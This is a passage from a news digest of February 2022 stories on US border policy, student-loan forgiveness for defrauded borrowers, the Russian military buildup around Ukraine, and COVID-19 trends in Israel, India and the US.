Last month, the Mexican government, at the request of the U.S., imposed visa requirements on Venezuelans, many of whom were traveling by air to Mexico City before reaching the U.S. border by land.

As part of other efforts to reduce the flow of migrants traveling to the U.S., Mexico ended visa-free travel for citizens of Brazil and Ecuador, who trekked to the southern border in record numbers during Mr. Biden's first year in office. The number of migrants from those countries caught at the U.S. border subsequently plummeted.

The Biden administration has also been enrolling Nicaraguans, Venezuelans and Cubans in a Trump-era program that requires them to await their U.S. asylum hearings in Mexico. About 92% of 673 migrants subjected to the policy's court-ordered revival have hailed from those three countries, a government report shows.

While it has not indicated when Title 42 will be lifted, the Biden administration is preparing to expand efforts to track migrants released from border custody through alternative to detention programs, including a home arrest pilot, according to an internal Immigration and Customs Enforcement (ICE) memo obtained by CBS News.

The home curfew program, which will be piloted in Houston and Baltimore, could be scaled up to accommodate up to 150,000 migrants, according to the ICE memo. The pilot was first reported by Axios.

"I think they are pivoting gradually to life after Title 42. You're seeing elements of what could be a future strategy for managing the border that's different from what we've seen during the past year, but I don't think we know what it is yet," said Andrew Selee, president of the non-partisan Migration Policy Institute.

The Biden administration is also finalizing a rule that would attempt to speed up the asylum process by allowing asylum officers to fully review migrants' claims, instead of sending them to the immigration courts, which have a backlog of nearly 1.6 million unresolved cases.

In an interview with CBS News last month, Homeland Security Secretary Alejandro Mayorkas said the asylum rule would be a key component of the Biden administration's border policy post-Title 42.

"We view that as a really strong improvement to a broken system," Mayorkas said.

[Return to Top](#)

HEADLINE	02/16 Education Dept. forgives some student debt
SOURCE	https://www.cbsnews.com/news/education-department-student-debt-borrowers-forgiveness/
GIST	<p>The Department of Education has approved \$415 million in borrower defense claims for nearly 16,000 former students after new evidence showed that their schools may have misled them into loans. The latest round of loan forgiveness brings the total amount approved by the department to approximately \$2 billion for more than 107,000 borrowers.</p> <p>"When colleges and career schools put their own interests ahead of students, we will not look the other way," Federal Student Aid COO Richard Cordray said in a statement Wednesday.</p> <p>DeVry University About 1,800 former DeVry University students will be forgiven of \$71.7 million after the Department of Education reviewed "voluminous amounts of evidence" that suggested the university repeatedly misled prospective students.</p> <p>DeVry is accused of inaccurately claiming from 2008 to 2015 that 90% of its graduates who actively sought employment obtained jobs in their fields of study within six months of graduating. But the Department of Education said the actual percentage was around 58%, and school officials allegedly knew about the inaccurate statistic for years.</p>

The Education Department said it expects the number of approvals from the New York school to grow.

Westwood College

Similarly, Westwood College is accused of falsely reporting between 2002 and 2015 that its graduates had job placement rates of 80% or higher "and that graduates would make salaries of \$50,000 or more," the Education Department said. The school also allegedly said if students did not get a job placement within six months of graduation it would help pay their bills.

"The Department has no evidence Westwood made good on its pledge," the Education Department said. "In fact, its job placement rates were grossly inflated, and its salary promises were based upon national federal data while actual Westwood graduates often made half or as little as one-fourth of those amounts."

Some 1,600 borrowers from the school will be forgiven of \$53.1 million, and the Education Department said it is identifying previously denied cases that could be reopened and approved with Wednesday's evidence.

It is the third such finding against the now-closed Denver, Colorado, school.

ITT Technical Institute

Around 130 students from ITT Technical Institute will have \$3.1 million of their debt forgiven after the Education Department found the school to have inaccurately told students that its nursing program would acquire programmatic accreditation.

The school is accused of repeatedly failing to obtain the accreditation due to the school having insufficient resources, unqualified faculty and failing to meet standards.

It is the fourth finding against the school.

Minnesota School of Business/Globe University

The Education Department found the Minnesota School of Business and/or Globe University misled students in the criminal justice programs by telling them they could become a Minnesota police officer or parole/probation officer after graduating. But the program did not have the proper accreditation or certifications for its students to move into such roles.

Students, therefore, will receive full borrower defense discharges. The Education Department approved some \$3 million in discharges for 270 students.

It's the second time students from the school have received discharges.

Other schools

More than 11,900 former students who attended institutions including Corinthian Colleges and Marinello Schools of Beauty will receive \$284.5 million in discharges, the Education Department announced Wednesday.

"Students count on their colleges to be truthful," Education Secretary Miguel Cardona said.

"Unfortunately, today's findings show too many instances in which students were misled into loans at institutions or programs that could not deliver what they'd promised."

[Return to Top](#)

HEADLINE	02/16 Satellites spilling secrets of Kremlin plans?
SOURCE	https://www.thedailybeast.com/so-about-that-russian-mystery-bridge-that-appeared-out-of-thin-air-in-belarus?ref=home
GIST	Vladimir Putin says Russia is ordering a "partial" drawdown of troops, but satellites overhead are offering a much more mixed picture of the massive Russian military buildup now menacing Ukraine .

Photos taken by the commercial imaging company Planet showed that Russian troops have built a pontoon bridge on Tuesday across the Pripjat river near the Russia-Belarus border. It's situated near the exclusion zone surrounding the damaged nuclear reactor at Chernobyl in Ukraine, the scene of a 1986 reactor meltdown.

The imagery comes as [Ukraine and NATO countries remain on edge amidst mixed signals](#) about a Russian military buildup on a scale not seen in decades. U.S. intelligence has repeatedly warned that, if ordered to, Russian forces would be in an optimal position to launch an invasion of Ukraine as early as Wednesday.

In the event of a Russian invasion, analysts fear the bridge could be one of many potential routes for Russian forces currently deployed to Belarus for military exercises to make their way further into Ukrainian territory.

Russian military scholar Rob Lee, a senior fellow at the Foreign Policy Research Institute, identified Russian engineering units and pontoon equipment entering Belarus [in early February](#). Belarus' Ministry of Defense authorities announced late last week that Russian military units [have practiced](#) "crossing a water barrier" across the Pripjat River.

The bridge isn't the only potential Russian threat captured by satellites this week. While some photographs have shown at least some thinning of Russian military gear in occupied Crimea, images taken elsewhere in the territory show Moscow has expanded its footprint.

On Tuesday, the satellite firm Capella Space captured synthetic aperture radar imagery taken of the Russian Oktyabrskoye airbase in Crimea. Images of the base taken by Capella Space, and reviewed by HawkEye 360's mission applications director and imagery expert Chris Biggers, show the likely relocation of Russian equipment, including a new motor pool, an expanded camp for local personnel, and 19 new helicopters.

Moscow appears to be sticking to its official line on a partial pull-out. Russian defense ministry officials distributed photos purporting to show Russian armored vehicles loaded onto trains en route back to Russia from Bakhchysarai, in Russian-occupied Crimea. In a post to the ministry's website, defense officials said that units from Russia's southern military district, which is responsible for military operations in Crimea, "completed their tasks as part of the planned tactical exercises" and "began to return to their permanent deployment points in the morning."

Though satellite imagery provided by Capella Space appears to show that at least some Russian military facilities in the Ukrainian territory have emptied out, it's unclear where that equipment is headed.

"Bakhchysarai previously had a brigade-level deployment of tanks, self-propelled howitzers, and armored personnel carriers," Biggers told The Daily Beast. "Video posted to TikTok earlier in the week showed elements in a nearby field. As of February 15, those and previously parked elements have likely been loaded at the nearby railway transfer point for relocation. It's currently uncertain as to where."

[Return to Top](#)

HEADLINE	02/17 What is happening to Covid in Israel?
SOURCE	https://www.thedailybeast.com/what-the-hell-is-happening-with-the-covid-19-surge-in-israel?ref=home
GIST	<p>Just a few months ago, it seemed Israel had all but beaten COVID-19. Infections, hospitalizations and deaths were vanishingly low.</p> <p>It's not hard to see why. The country's vaccine uptake was high. Most vaccinated Israelis were also boosted, and the health ministry had begun offering a second booster to the most vulnerable residents. Masks were required in indoor public spaces, and a vaccine card was required to enter the most crowded spaces, including restaurants, bars, theaters, and music venues. This strict approach to COVID was working.</p>

[Then Omicron hit](#)... and everything changed. Israel is now having its worst COVID surge, with record infections, hospitalizations, and deaths, all in the past few weeks.

The numbers are pretty startling: On Jan. 1, Israeli authorities [logged](#) only 6,000 new COVID infections. On Jan. 19, they tallied a record-high 243,000 cases in a single day. At the peak of the Omicron surge in mid-January, just 3,500 people were hospitalized with serious cases of COVID. To put that in perspective, cases on the worst day of the current surge were 10 times higher than on the worst day of all the previous surges. And on the worst day for Omicron deaths—Feb. 1—121 Israelis died. This in a country with just 9.2 million people.

“Omicron hits everyone, whether vaccinated or not,” Gili Regev-Yochay, a Harvard epidemiologist, told The Daily Beast. But hospitalizations and deaths haven’t risen nearly as much as cases. That disconnect—“decoupling,” epidemiologists call it—helps explain Israel’s seemingly counterintuitive response to the current [COVID surge](#).

The country did... nothing. That response, or lack of one, could signal a new attitude toward COVID in Israel and similar countries.

The vast majority of Israeli cases have been mild, owing to a combination of vaccine-induced immunity and the tendency of Omicron to stay in the head—and manifest as a bad cold—rather than attack the lungs like previous COVID-19 variants. Deaths in the current wave are concentrated in that quarter of the Israeli population that isn’t vaccinated. The death rate for the unvaxxed has been 10 times higher than the death rate for the vaxxed, the Israeli health ministry [reported](#).

Through it all, there has been no widespread panic. Not from the government. Nor health experts. Nor the general public. The Israeli government added no major new domestic restrictions during the Omicron surge. “There was no need for lockdown or school closures,” Leshem Eyal, director of the Center for Travel Medicine and Tropical Diseases at Tel Aviv University School of Medicine, told The Daily Beast. “Commerce and culture remained open and the country functions normally.”

The country that had become among the strictest on COVID is now moving swiftly in the opposite direction.

The implication is clear. As the pandemic enters its third year, Israel is closer than ever to striking a sort of truce with the novel coronavirus. Many Israelis seem increasingly comfortable with the modest risk milder lineages such as Omicron might pose to the vaccinated. There’s little to no political will for new limits on crowds and businesses. If anything, people want *fewer* limits, even if that means higher risk for the unvaccinated.

There’s a word for this society-wide acceptance of a contagious disease. “Endemicity.” Once a country or community has all the tools it thinks it needs to reduce the threat a disease poses to an acceptable level, the disease becomes endemic and people get on with their lives.

There’s obvious risk in declaring COVID endemic at this point. But Omicron for all its transmissibility isn’t as lethal as earlier lineages—nor does it significantly reduce the effectiveness of a boosted vaccine. A lineage that *does* evade the vaccines might change a lot of minds, and fast. But for now, it looks like Israel is getting ready to add COVID to the long list of diseases Israelis consider a daily risk, but an acceptable one. Chicken pox. West Nile fever. The flu.

And inasmuch as Israel is usually ahead of the global curve when it comes to public-health policy, Israelis thinking of COVID as endemic could be a harbinger of a similar approach in other wealthy countries with easy access to vaccines. Indeed, there are signs Americans are beginning to accept the somewhat greater risk that the SARS-CoV-2 poses in their own, less-vaccinated country.

It might seem paradoxical that one of the countries that took the novel coronavirus the most seriously is also one of the first to accept that the virus might never fully go away. In reality, strict measures—aggressive vaccination, in particular—made it possible to move quickly toward endemicity today.

Israel locked down hard during the initial wave of infections in the spring of 2020. There were tight restrictions on indoor and outdoor gatherings. Businesses closed. Some schools did, too. For 10 weeks, Israelis barely moved. The government only partially lifted the restrictions as infections dipped. But each time there was a fresh surge in cases—driven, in many cases, by new and more dangerous lineages—the government ordered another lockdown.

But the lockdowns got a lot looser once vaccines were widely available, from early 2021. In February that year, authorities created a so-called “green pass”—a proof of vaccination or recent infection that gave the holder greater access to more businesses. The green pass helped keep businesses open. Widespread testing, contact tracing and targeted quarantining of freshly infected students and staff helped keep schools open. But it was vaccines that were the key to Israel’s comparatively blessed 2021, and which laid the groundwork for the current rollback of restrictions.

Israelis vaccinated fast. In a little over two months in early 2021, two-thirds of Israelis got jabbed, most of them with two doses of messenger-RNA vaccine. The vax-rate plateaued, but at a high overall level compared to many other rich, industrialized countries including the United States.

Today, 73 percent of Israelis have gotten at least one shot of the vaccine. Sixty-six percent are “fully vaccinated,” usually with two doses of mRNA. Most impressively, more than half of Israelis have gotten a booster shot. And Israel was the first country to offer a second booster—in other words, a fourth dose of mRNA—to the elderly and immunocompromised, starting in January.

Compare that to the U.S., where 76 percent of residents have gotten one shot, but just 64 percent are fully vaxxed and an unimpressive 43 percent are boosted. The U.S. Food and Drug Administration hasn’t authorized anyone to get a second booster.

To be clear, not every health expert is on board with the idea of “vaccinating the vaccinated” with a second booster. “Vaccinating the vaccinated may divert attention and resources from other proven measures such as reaching out to the poorer populations who did not receive the three doses, [thus] increasing inequalities,” Hagai Levine, an epidemiologist at the Hebrew University-Hadassah Medical Center in Jerusalem, told The Daily Beast.

But fourth doses may have helped protect the most vulnerable Israelis when Omicron struck. Israelis, if they got sick with Omicron, usually got only a little sick. A small part of the population suffered far out of proportion to everyone else. “Data show clearly that the burden of severe disease and death in this wave is largely among the unvaccinated,” Naor Bar-Zeev, a pediatric infectious disease physician at Johns Hopkins University, told The Daily Beast.

Yes, Omicron has driven up cases by a lot. But a huge increase in infections resulted in small increases in the worst outcomes. “The peak of death in this wave is much more blunted than in previous waves, despite an astronomical rise in infections,” Bar-Zeev said.

Decoupling is an important signpost on the road to endemicity. In a society that’s managing a once-devastating disease, a surge in infections comes at acceptable cost. Many Israelis have decided that a few hundred deaths out of two million cases is a price they’re willing to pay to keep schools and businesses open.

That popular acceptance has policy implications. Though Israel is still in the thick of the current surge—the government counted 31,000 fresh infections on Sunday—the trend looks to be moving downward. Quickly citing the decline in cases, the Israeli government last week signaled it would cut the number and types of businesses requiring the green pass for entrance.

	<p>America isn't far behind. Many of the biggest U.S. states that still had COVID-related restrictions on businesses began lifting them in early February. A new strategy is emerging in the U.S., one where COVID response is a mostly local responsibility. The majority of the country would be wide open most of the time.</p> <p>Strictly local and temporary measures are consistent with a move toward endemicity. The flu is endemic, after all, but schools occasionally close amid flu outbreaks. "Without knowing more about possible mutations, we are still in a pandemic that requires constant revision and innovation of management strategies," Jennifer Reich, a sociologist at the University of Colorado Denver specializing in vaccination, told The Daily Beast.</p> <p>There's a not-insignificant chance that some dangerous new SARS-CoV-2 variant will come along, one that crashes right through the wall of vaccine-induced immunity that makes a degree of normalcy possible. That could make the current move toward endemicity look short-sighted—if it happens. And even if that lineage never appears, and most of us can safely get on with our lives post-Omicron. But there will still be COVID deaths on the margins. The unvaccinated. The immunocompromised. The elderly.</p> <p>We should never forget the cost of this possible new normal, in Israel or somewhere else, Reich said. "Over the next few years, we should watch how discussions of 'learning to live with the virus' erase the lives that might be lost along the way."</p>
Return to Top	

HEADLINE	02/16 India: rapid Covid home tests surge
SOURCE	https://abcnews.go.com/Health/wireStory/rapid-covid-19-home-tests-surge-india-experts-82946081
GIST	<p>NEW DELHI -- On New Year's Eve, the Indian government wrote to states encouraging them to promote the use of COVID-19 home tests, especially for people who are experiencing symptoms, in a bid to avoid straining local health systems.</p> <p>During last year's delta-driven surge, an explosion in cases overwhelmed hospitals and testing labs. But last month, as new infections fueled by the omicron variant skyrocketed, so did the number of people testing themselves at home across India.</p> <p>In the first 20 days of January, around 200,000 people shared their test results with India's health agency – a 66-fold increase compared to all of 2021. The strategy apparently worked. Those testing positive with speedy, though less accurate tests were told to self-isolate at home, allowing hospital beds to remain available for the most vulnerable.</p> <p>But experts say this figure is likely only a fraction of the actual number of tests used. Despite rules requiring people to share their results with authorities, many aren't doing so. This means the country's already patchy testing data is even less accurate and that future clusters may go undetected.</p> <p>It's a problem some states in India are already flagging. In Maharashtra, state health official Dr. Pradeep Vyas recently appealed to all users to report their results. And since tests don't differentiate between omicron and the deadlier delta variant, which also continues to spread in India, he warned there are still vulnerable people who need hospital care.</p> <p>"Suddenly there may be stress on our health infrastructure," he wrote in a letter to authorities last month.</p> <p>Since January, pharmacists in the state have begun keeping records of those buying home tests. But this isn't the case in most Indian cities.</p> <p>"If I had to guess, maybe only 20% of people using home tests are reporting it," said K Srinath Reddy, president of the Public Health Foundation of India, adding that every test result ideally should be reported so authorities can track the virus.</p>

“If you’re not reporting it then your sample can’t be sent for genomic analysis, and then you may miss tracking clusters and variants,” he said.

In interviews with The Associated Press, several people in the capital New Delhi admitted they tested positive using home tests but didn’t share their results with authorities.

With the highly contagious omicron variant still spreading throughout Asia, more countries are making a difficult tradeoff between accuracy and speed, deploying the nimble home tests to make sure patients don’t flood hospitals.

In South Korea, officials said Wednesday that free coronavirus rapid test kits would be available at kindergartens, elementary schools and senior welfare centers starting next week after an unprecedented wave of omicron infections. Authorities recently began moving away from a predominantly PCR testing strategy to rapid tests, even as some experts warned the latter do not reliably detect early omicron infections. People can buy at-home tests from pharmacies and convenience stores or take the tests for free at public health offices and testing stations, where anyone with a positive result is then given a PCR test.

Indian officials are relying on a centralized database where people upload their test results using a mobile app. MyLab, the first company approved for its COVID-19 home test, is producing 500,000 tests per day. Sales have jumped tenfold compared to last quarter, said Saurabh Gupta, head of strategy at MyLab. India has approved eight home tests so far, priced between \$2 and \$33.

Despite the increased use of home tests, experts say they are not as accurate as lab-run PCR tests and have a higher chance of reporting false negatives.

Parul Saxena, a housewife in New Delhi, took a home test last month that turned out negative. But when she continued to have a body ache and fever, she went in for a PCR test, which confirmed what she felt all along — that she was positive for COVID-19.

India’s health ministry did not respond to questions sent via email.

Another concern is that home tests are inherently more difficult to adjust — which needs to be done as the virus evolves. While the accuracy of both home and lab tests are affected when a virus evolves, rapid tests may not be able to detect a new variant, said Vineeta Bal, who studies immune systems at the Indian Institute of Science Education and Research.

After last year’s catastrophic delta surge and a sharp rise in omicron infections to start 2022, cases in India have now stabilized with many cities reopening restaurants, schools and workplaces. On Thursday, India recorded 30,757 new cases and 541 deaths — down from a high of over 300,000 cases last month. Experts have warned that India, like elsewhere, was likely missing cases even before the emergence of home testing.

But some say it is not necessary for all positive cases to be reported to authorities. Officials can continue to study the virus’s spread through robust random sampling, said Dr. Jacob John, who studies viruses at the Christian Medical College in Vellore, a city in southern India.

Reddy, the public health expert, questioned the importance of case counts at this stage of the pandemic in India.

“Right now, this is not going to be the biggest priority — the important thing is to make sure that if people are getting very sick, there are enough healthcare facilities,” he said.

Ashley St. John, an associate professor at the Duke-NUS Medical School in Singapore, agreed that other factors are more relevant.

	<p>“I think our concern with having very accurate data on positive case numbers has lessened as vaccination rates have increased,” she said. “We know that many vaccinated individuals can test positive even without developing symptoms or severe disease. Also, we have transitioned to accepting that the virus is endemic and cannot feasibly be tracked in every person.”</p>
Return to Top	

HEADLINE	02/16 Estimated 73% immune to omicron for now
SOURCE	https://abcnews.go.com/Health/wireStory/estimated-73-us-now-immune-omicron-82946923
GIST	<p>The omicron wave that assaulted the United States this winter also bolstered its defenses, leaving enough protection against the coronavirus that future spikes will likely require much less — if any — dramatic disruption to society.</p> <p>Millions of individual Americans’ immune systems now recognize the virus and are primed to fight it off if they encounter omicron, or even another variant.</p> <p>About half of eligible Americans have received booster shots, there have been nearly 80 million confirmed infections overall and many more infections have never been reported. One influential model uses those factors and others to estimate that 73% of Americans are, for now, immune to omicron, the dominant variant, and that could rise to 80% by mid-March.</p> <p>This will prevent or shorten new illnesses in protected people and reduce the amount of virus circulating overall, likely tamping down new waves. Hospitals will get a break from overwhelmed ICUs, experts agree.</p> <p>“We have changed,” said Ali Mokdad, a professor of health metrics sciences at the University of Washington in Seattle. “We have been exposed to this virus and we know how to deal with it.”</p> <p>The coronavirus — the current variant or future ones that are sure to pop up — remains a dangerous germ. It is still infecting more than 130,000 Americans and killing more than 2,000 every day. Tens of millions of people remain vulnerable.</p> <p>And there will be future outbreaks. The notion of a “herd immunity” that could stop the virus has slipped away under the harsh reality of new variants, waning immunity, and the rejection of vaccines by some Americans.</p> <p>But the coronavirus is no longer new. Two years ago it arrived in a nation where nobody’s immune system had seen it before. The entire population — 330 million people — were immunologically naive, that is, susceptible to infection.</p> <p>“I am optimistic even if we have a surge in summer, cases will go up, but hospitalizations and deaths will not,” said Mokdad, who works on the Institute for Health Metrics and Evaluation model, which calculated the 73% figure for The Associated Press.</p> <p>With varying degrees of relief and caution, many Americans are starting to return to their pre-pandemic lifestyles.</p> <p>Sarah Rixen, 41, of Bismarck, North Dakota, started singing again with a civic chorus after taking a year off. Now, with omicron winding down, she said she feels more confident than at any time since the crisis began.</p> <p>“But I am still a little leery that there could be another variant around the corner,” said Rixen, noting that her family and most of her relatives are fully vaccinated. “I am still going to wear a mask.”</p> <p>As mask mandates ease, workers return to offices and flights fill up, experts are trying to understand whether this return to normal can last, or if another setback is looming.</p>

To address that, researchers are trying to answer questions about the virus, the vaccine, and how our bodies respond: How fast is booster protection waning against omicron? How long does protection from infection last? How many mild infections were never reported? How many people got infected but had no symptoms?

To find clues, they use health data from other countries such as Britain, Denmark, South Africa and Qatar to project what could be in store.

Scientists at Johns Hopkins University Bloomberg School of Public Health estimates that about three out of four people in the United States will have been infected by omicron by the end of the surge.

“We know it’s a huge proportion of the population,” said Shaun Truelove, an epidemiologist and disease modeler at Johns Hopkins. “This varies a lot by location, and in some areas we expect the number infected to be closer to one in two.”

That means different regions or groups of people have different level of protection — and risk. In Virginia, disease modelers are thinking about their population in terms of groups with different levels of immunity.

They estimate about 45% of Virginians have the highest level of immunity through boosted vaccination or through vaccination plus a recent infection with omicron. Another 47% have immunity that has waned somewhat; and 7% are the most vulnerable because they were never vaccinated and never infected.

In all, the vast majority of Virginians have at least some immunity, said Bryan Lewis, a computational epidemiologist who leads University of Virginia’s COVID-19 modeling team.

“That’s going to be a nice shield of armor for our population as a whole,” Lewis said. “If we do get to very low case rates, we certainly can ease back on some of these restrictions.”

Still, while the population is better protected, many individuals are not. Even by the most optimistic estimates for population immunity, 80 million or so Americans are still vulnerable. That’s about the same as the total number of confirmed infections in the U.S. during the pandemic.

“The 26% who could still get omicron right now have to be very careful,” Mokdad said.

Andrew Pekosz, a virus researcher at the Johns Hopkins Bloomberg School of Public Health, is concerned that people — particularly unvaccinated omicron survivors — may have a false sense of security. “In an ideal world, unvaccinated individuals infected with omicron would be lining up for a vaccine shot,” he said.

Also, estimating protection is far from an exact science. It’s a moving target, as immunity wanes and new variants circulate. Protection varies widely from person to person. And it’s impossible to know for sure how many people are protected at all. The IHME model estimates a wide range — from 63% to 81% of Americans.

“We’ve reached a much better position for the coming months, but with waning immunity we shouldn’t take it for granted,” Mokdad said.

[Return to Top](#)

HEADLINE	02/16 Russia sarcasm as weapon in Ukraine crisis
SOURCE	https://abcnews.go.com/International/wireStory/russia-sarcasm-weapon-ukraine-crisis-82926165
GIST	MOSCOW -- “Wars in Europe rarely start on a Wednesday.” That’s how a top Russian diplomat brushed off speculation in the West that Russia could invade neighboring Ukraine as soon as Wednesday, Feb. 16.

As the U.S. and other NATO members warn of the potential for a devastating war, Russia is not countering with bombs or olive branches -- but with sarcasm.

It's a tool that officials in Moscow have long used to belittle their rivals and to deflect attention from actions seen as threatening to the West or Russia's neighbors. Laconic quips dovetail with the Kremlin's domestic agenda by making Russia and its all-powerful president look more cool-headed and clever than countries in the panicky, democratic West.

As worries mushroomed that Wednesday could be the day President Vladimir Putin launches an invasion of Ukraine, Russian officials ridiculed them.

In a Facebook post, Foreign Ministry spokesperson Maria Zakharova asked the "mass media of disinformation" in the West "to reveal the schedule of our 'invasions' for the upcoming year. I'd like to plan my vacations."

"To the regret of many Western media, the war again failed to start," Zakharova said at a briefing on Wednesday. "Fighting has erupted on their pages, but it has no relation to reality."

Ukrainians, meanwhile, have been living amid signs of a possible invasion for several weeks, with an estimated 150,000 Russian troops surrounding much of their country for military exercises. Russia said this week it was starting to pull back some troops, but Western military officials say there's no evidence of a serious withdrawal.

Russia's ambassador to the European Union, Vladimir Chizhov, accused Westerners of "slander" for alleging an invasion was afoot. He insisted in an interview with German daily newspaper Welt that "there won't be an attack this Wednesday."

Then Chizhov added: "Wars in Europe rarely start on a Wednesday."

The statement seemed more flippant than historically significant. World War I started on a Tuesday and World War II started in Europe on a Friday, but Europe's history of war over centuries includes conflicts that kicked off throughout the week.

Kremlin spokesman Dmitry Peskov also took the West's growing fears lightly. Asked Wednesday whether Russia's presidential administration operated differently overnight, he told reporters that everyone slept calmly and resumed work in the morning as usual.

"Western hysteria is still far from its culmination," Peskov said. "We need to have patience, as the remission will not come quickly."

The master of Russian diplomatic snark is Foreign Minister Sergey Lavrov. He is known worldwide for his quips -- often said in English -- over 18 years as the Kremlin's top diplomat.

On Wednesday, Lavrov mocked the West as sadly "lacking basic upbringing" for trying to dictate or predict Russia's plans.

Beneath the sarcasm, Russia has narrated the current Ukraine crisis from the outset: first by moving troops toward Ukraine, then by periodically holding out the possibility of a diplomatic solution, keeping foreign officials and global markets on constant edge.

While Putin offered more talks this week, his intentions in Ukraine remain unclear. Western intelligence suggests an invasion of some kind could still happen -- on a future Wednesday or any day of the week.

[Return to Top](#)

SOURCE	https://abcnews.go.com/International/wireStory/fast-track-passports-russia-extends-clout-ukraine-82947863
GIST	<p>MOSCOW -- Ivan Malyuta, a resident of Donetsk, a city in eastern Ukraine controlled by Moscow-backed separatists, applied for Russian citizenship this month and said he, his wife and three children will soon be getting Russian passports.</p> <p>“I want to be a citizen of the Russian Federation. We are moving towards this, aren’t we?” he said at a Donetsk migration service office.</p> <p>Malyuta and his family will join more than 720,000 residents of rebel-held areas in eastern Ukraine who have received Russian citizenship and passports in a fast-track procedure widely seen as an attempt to underscore Russia’s influence in the region.</p> <p>Russia threw its weight behind a separatist insurgency in eastern Ukraine in 2014, shortly after annexing Crimea in response to a popular uprising in Kyiv ousting a Kremlin-friendly president.</p> <p>Moscow has denied deploying troops or weapons to the rebel-held areas, with government officials repeatedly stressing that Russia is not a party to the conflict, which has killed over 14,000 people.</p> <p>Besides the quick path to citizenship, Russia has offered residents of the self-proclaimed Donetsk and Luhansk republics membership in the Kremlin’s ruling party and other perks, such as its COVID-19 vaccines or trade preferences for local manufacturers.</p> <p>Ukraine has been appalled by the efforts amid rising tensions and fears of a new invasion. Foreign Minister Dmytro Kuleba urged the European Union last week to impose sanctions on Russia for “its illegal mass issuing of Russian passports to Ukrainian citizens.”</p> <p>On Tuesday, Russian lawmakers appealed to President Vladimir Putin to recognize the independence of the two self-proclaimed republics, eliciting even more outrage in Kyiv, with both the Foreign Ministry and parliament releasing statements condemning the move.</p> <p>Putin hasn’t said how he will act on the request, but signaled he wasn’t inclined to support the idea, which would violate a 2015 agreement about their status.</p> <p>Political analysts agree the Kremlin is unlikely to back independence for Donetsk and Luhansk any time soon, but will continue to reap political benefits from its involvement in eastern Ukraine.</p> <p>“It’s a form of keeping the pressure on Kyiv, destabilizing it and hindering Ukraine’s movement towards European values, towards NATO,” said Moscow-based political analyst Dmitry Oreshkin.</p> <p>Putin signed a decree simplifying the procedure for obtaining Russian citizenship for residents of Donetsk and Luhansk in April 2019 – the day after Volodymyr Zelenskyy’s presidential victory was officially proclaimed.</p> <p>Since then, more than 720,000 residents of the rebel-held areas – about 18% of the population – have received Russian passports.</p> <p>Olga Matvienko, an official of the migration service in Donetsk, told The Associated Press the number of people applying for Russian passports has increased in recent weeks as tensions around Ukraine soared. She said the procedure has been “extremely simplified,” and takes just one to three months.</p> <p>Donetsk residents who have applied say having Russian citizenship gives them a sense of protection from a powerful neighboring state.</p> <p>“Relatives (in Russia) tell us that Putin won’t abandon us and everything will be fine,” said 62-year-old retiree Nelya Dzyuba.</p>

Many also say it will allow them to travel to Russia and enjoy benefits Russian citizens are entitled to, such as free health care. For that, however, a passport holder must go through additional red tape, though Putin last month tasked the government with making access to benefits easier.

Ukrainian officials have charged that handing Russian passports to residents of the rebel-held areas violates a 2015 peace deal for eastern Ukraine brokered by France and Germany, a claim Moscow denies.

The deal, widely known as the Minsk agreements, put a stop to large-scale hostilities, but failed to bring about a political settlement of the conflict. It envisioned Donetsk and Luhansk as part of Ukraine, but with broad autonomy from Kyiv, which has said that implementing the agreements would hurt Ukraine. The Kremlin, on the other hand, has insisted the Minsk deal is the only way to settle the conflict, and has repeatedly accused Ukraine of sabotaging its implementation.

Kuleba, the Ukrainian foreign minister, said last week that issuing Russian passports to residents of rebel-held areas on a mass scale violates the Minsk agreements.

In an interview with the AP, Oleksiy Danilov, the secretary of Ukraine's National Security and Defense Council, echoed his sentiment. "They have issued a crazy amount of Russian passports," he said, adding that "they're involving these people in their political structure."

Donetsk and Luhansk residents with Russian passports were allowed to vote in last year's Russian parliamentary elections and in the 2020 plebiscite on constitutional reform that permits Putin to run for two additional terms. They were bussed into the neighboring Rostov region in Russia to cast their ballots.

In December, the Kremlin's ruling United Russia party also accepted top officials of the self-proclaimed governments in Donetsk and Luhansk into its ranks, along with some 200 ordinary residents of the rebel-held areas.

Analyst Oreshkin also noted the political benefit to the Kremlin, saying it could potentially lead to "almost a million additional votes for Vladimir Putin" and his United Russia party.

Amid warnings that Russia might invade Ukraine, some fear that Moscow might use the fact that there are hundreds of thousands of Russian citizens in Donbas as a pretext for military action to defend them.

Russian officials have repeatedly accused Kyiv of plans to retake the rebel-held areas by force and have promised to respond if that happens. Commenting on the lawmakers' appeal to Putin to recognize the self-proclaimed republics, State Duma speaker Vyacheslav Volodin said Tuesday that "our citizens and compatriots living in Donbas are in need of help and support."

Mykola Sunhurovskyi, a military expert at the Kyiv-based Razumkov Center think tank, said that Russia "could use defending the interests of Russian citizens in Donetsk and Luhansk as pretext ... for starting the war."

Sunhurovskyi noted that Russia used a similar pretext in 2008 during its war with Georgia after handing out Russian passports to residents of the breakaway regions of South Ossetia and Abkhazia.

Analyst Oreshkin said, however, that the Kremlin is much more interested in keeping the status of the rebel-held areas in limbo and showing that it has a number of options on the table — be it recognizing their independence or deploying forces to protect Russian citizens there.

"There is no political interest so far. Rather, there is political interest in scaremongering, both in Ukraine and its NATO neighbors, with such a rhetoric," Oreshkin said.

[Return to Top](#)

SOURCE	https://abcnews.go.com/International/nato-warns-russia-building-troops-ukraine-holds-defiant/story?id=82929666
GIST	<p>LVIV, Ukraine -- NATO's secretary general warned that Russia appears to still be increasing the number of its troops near Ukraine, despite Moscow announcing it has begun withdrawing some military units from the border.</p> <p>Ukraine on Wednesday held a nationwide "Unity Day," hanging flags and holding ceremonies to sing the nation's anthem on the day that U.S. officials had said a Russian invasion could take place. President Volodymyr Zelenskyy instituted the public holiday in an apparent signal of defiance that also indicated Ukrainian skepticism that an attack would take place.</p> <p>Russian officials, meanwhile, mocked claims that the attack would materialize Wednesday, saying it illustrated Western "hysteria" around Russia's buildup of troops close to Ukraine. Russia's military a day earlier said some of its troops have started to withdraw after completing "exercises" and on Wednesday said that process was continuing, releasing new video showing a trainload of armored vehicles rolling across a bridge from Crimea to Russia.</p> <p>But NATO's secretary general Jens Stoltenberg said that despite the few videos released by Russia, the alliance so far sees no evidence of actual withdrawal and that more troops have continued to arrive.</p> <p>"So far we have not seen any de-escalation on the ground. On the contrary, it appears that Russia continues the military buildup," Stoltenberg told reporters before a two-day meeting of NATO's 30 defense ministers in Brussels.</p> <p>"We are, of course, monitoring very closely what Russia does in and around Ukraine. What we see is that they have increased the number of troops and more troops are on their way and so, so far, no de-escalation," he said.</p> <p>But Stoltenberg said the alliance still hoped Russia would choose a diplomatic way out of the crisis, noting recent statements from President Vladimir Putin expressing a readiness to engage with the 